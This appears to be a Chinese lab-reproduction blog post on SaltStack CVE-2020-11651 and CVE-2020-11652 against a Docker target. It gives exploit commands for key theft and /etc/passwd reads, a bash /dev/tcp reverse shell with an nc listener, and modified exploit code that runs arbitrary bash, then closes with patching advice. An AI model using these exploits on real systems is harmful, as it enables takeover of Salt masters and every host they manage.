saltstack RCE

saltstack RCE

一、漏洞介绍

SaltStack是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。
国外某安全团队披露了SaltStack存在认证绕过漏洞(CVE-2020-11651)目录遍历漏洞(CVE-2020-11652)

二、漏洞危害

在CVE-2020-11651认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过Salt Master的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。通过对这两个漏洞的利用可以实现RCE的效果,在控制salt-master之后,通过salt大面积控制在运维系统下的主机。

影响版本:
SaltStack < 2019.2.4
SaltStack < 3000.2

安全版本:
2019.2.4
3000.2

三、漏洞验证

靶机(172.22.8.14):
docker pull vulfocus/saltstack-cve_2020_11651 # 拖取镜像
docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651 # 启动容器

saltstack RCE_第1张图片
攻击机:

poc链接:
https://github.com/jasperla/CVE-2020-11651-poc

pip3 install salt==3000.1 #安装salt模块
python3 exploit.py -m 172.22.8.14 #读取key
saltstack RCE_第2张图片
python3 exploit.py -m 172.22.8.14 -r /etc/passwd #读文件
saltstack RCE_第3张图片

反弹shell

本地(172.22.1.102)监听4444端口:
nc -lvp 4444
攻击机执行
python3 exploit.py -m 172.22.8.14 --exec "bash -i >& /dev/tcp/172.22.1.102/4444 0>&1"
saltstack RCE_第4张图片
这里有几个坑要说一下,首先是docker 容器内访问宿主机“No route to host”的问题,依次执行以下命令可以解决:

nmcli connection modify docker0 connection.zone trusted
systemctl stop NetworkManager.service
firewall-cmd --permanent --zone=trusted --change-interface=docker0
systemctl start NetworkManager.service
nmcli connection modify docker0 connection.zone trusted
systemctl restart docker.service

然后是GitHub上exp执行命令调用的是python,docker里没有python环境,需要修改代码如下(不同的exp可能不一样,大同小异):

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            #'lang': 'python',
            'lang': 'bash',
            #'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
            'code': "{}".format(cmd)
        },
        'jid': jid,
    }

四、漏洞修复

  1. 升级至安全版本及其以上,升级前建议做好快照备份措施。
    安全版本下载地址参考:https://repo.saltstack.com
  2. 设置SaltStack为自动更新,及时获取相应补丁。
  3. 将Salt Master默认监听端口(默认4505 和 4506)设置为禁止对公网开放,或仅对可信对象开放。

参考链接:
https://www.freebuf.com/articles/system/178150.html
https://github.com/dozernz/cve-2020-11651
https://github.com/bravery9/SaltStack-Exp
https://github.com/jasperla/CVE-2020-11651-poc

你可能感兴趣的:(漏洞复现)